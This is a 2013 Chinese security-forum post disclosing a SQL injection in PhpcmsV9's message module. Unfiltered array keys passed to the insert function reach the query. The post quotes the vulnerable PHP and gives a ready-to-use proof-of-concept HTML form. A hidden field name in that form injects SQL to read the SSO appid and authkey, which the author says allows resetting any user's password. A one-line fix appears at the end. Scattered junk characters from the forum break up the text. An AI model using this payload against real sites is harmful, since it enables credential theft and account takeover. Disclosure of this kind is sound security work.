找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1935|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
- o9 Y5 a- ^% [' y! |7 R+ Q) r& |# K$ {" F
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。! x$ |: k1 \& A

7 g' B. ]5 U) d, E. b明天再更新下一个漏洞。) N5 W. _0 r* q* h8 Y( C
详细说明:  |3 @. m7 {9 O8 c( T
在/phpcms9/phpcms/modules/message/index.php中有代码如下:# N% s3 _8 F# r  \2 N

: C1 I9 {8 ?5 C5 r6 U+ }8 o$messageid = $this->message_db->insert($_POST['info'],true);
! J$ q/ a$ L5 t* V/ F5 ^
, V8 G& i. s$ X0 {" G2 \3 a4 x) \! Z6 z$ x1 U
insert方法是key value的,代码如下:
! P- K" D  V, V9 i' h9 }. |+ v6 w7 W+ H. H
public function insert($data, $table, $return_insert_id = false, $replace = false) {
9 O# t( _8 \7 |( s                if(!is_array( $data ) || $table == '' || count($data) == 0) {5 t. }; M- A5 p) k
                        return false;
! C1 i7 s+ r9 B9 h                }
% b3 o8 Z1 V- L9 M% I9 O               
2 R! ?/ R( D& y, o1 G; v  G& }- {                $fielddata = array_keys($data);4 \3 Z1 W; J7 P+ H) |! q
                $valuedata = array_values($data);
) v7 j. Q! ?1 H% |  j/ B                array_walk($fielddata, array($this, 'add_special_char'));
7 i% D9 H- q) V0 j                array_walk($valuedata, array($this, 'escape_string'));) _' B. [, v2 B+ Z1 B  E
                8 w: U6 l3 P' ~5 ^+ Q
                $field = implode (',', $fielddata);
8 H, w- l, `/ ]7 @- _# s5 W                $value = implode (',', $valuedata);% b9 C) _7 [4 W! @
5 k$ w3 W; H) N( R/ E( A8 B
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';, g! t1 B3 C  V0 }! Q$ n
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';, s. ?: \  U% f3 Z, ~1 l2 a
                $return = $this->execute($sql);6 c; u! Q* G$ W
                return $return_insert_id ? $this->insert_id() : $return;4 J5 O5 f7 x! L3 f1 {
        }( y& N! B, i* o3 @% E0 U
: b. S' E0 R+ V" b* Y/ h
6 M$ _3 }5 e! M; C5 D3 @3 I* k
嗯,很遗憾的是
, g3 M% W/ X" F/ x* z' B6 A" b; O7 A9 T4 }- O
array_walk($fielddata, array($this, 'add_special_char'));0 l* \/ Z* R1 t  C6 t+ @) ~( y
, A& z- {" |) b

) F% Q* Y6 X; F) |) e, e( m中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。* U  H, `& q0 ?6 ^' R6 b

& m8 l" H; {3 F2 N: D" L, Q; z; ^到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。. g5 n' O, L, A6 B+ u( u% I# j
" G6 l' e3 u" D+ V
漏洞证明:
3 @2 s  w2 |1 P; ]; ]0 H1 o读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。7 @. l$ t+ f( j  @4 Q' G3 C

1 J5 ?& a% @1 [0 X7 F' F# m7 O
$ G, [+ Z" l0 a3 e6 H2 y表单如下:用户名什么的得自己改一改。
" \& r8 h1 A( n: a. M; R<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
) H- Z2 n& ?2 z8 U& T<table width="100%" cellspacing="0" class="table_form">3 f; @) N* k, A* s
<tr>
5 R, s! S# n# e+ G5 p# G  u* @<th>标 题:</th>* C- C2 \% o5 z" y# J  A4 G9 ?, K
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
4 ]8 T2 q) T4 k. l% p</tr> ) |, q9 ?* M# g9 }- H- \
<tr>
4 B7 H8 |* {4 @- X. n, C! y<th>内 容:</th>. H( {0 N: N& l, @) f8 L
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
1 N& z7 a, F* r- m. R7 v* m2 M</tr>
* c) y/ l# x8 k0 ~4 Q8 |* Q<input type="hidden" name="info[replyid]" value="2" /> ! S% C5 H% u/ m3 X
<input type="hidden" name="info[send_to_id]" value="cc" /> & `6 v  Z3 P( t4 G* x
<input type="hidden" name="info[send_from_id]" value="hh">, e. ^5 K; b4 ?6 [  U
<!-- 漏洞的利用重点在这里开始 -->
2 V7 D) P) b. _, j<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ! D' P4 w- S5 T8 t6 Y  }6 R
<!-- 漏洞的利用重点在这里结束 -->
1 _" A" c/ e# x- h<tr>
3 d  n/ d% l) F" T6 G<th>验证码:</th>4 {: p0 T$ j- F/ A. V7 |1 R% @0 }8 }
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
% p; ^5 n9 R9 M- p8 h( ~</tr>
5 y! {) m' z! L, ?" [3 Z  \<tr>
7 V. H& O2 ^. q3 O0 T3 h3 W<td></td>
2 ]( D* A* d3 t3 X  k0 @2 m<td colspan="2"><label>6 c8 u$ I' T# c3 t' T
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
! c* @6 `3 S% I+ q: a% J</label></td>$ c+ r1 ?; q$ I  d$ v4 Z* h* o
</tr>
0 J" R8 n2 p: y" i</table>
- U) D# Y$ d6 a; u2 U$ c1 p</form>
. C- s) z* `: R% l/ O5 j  X7 ?在add_special_char函数内对key做过滤就可以了。
. W. F+ [4 x6 n( w1 K/ t: H
% G4 q; e6 c0 M% i: l9 \8 y6 p) @: O1 L
# v. D; \( n0 D

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表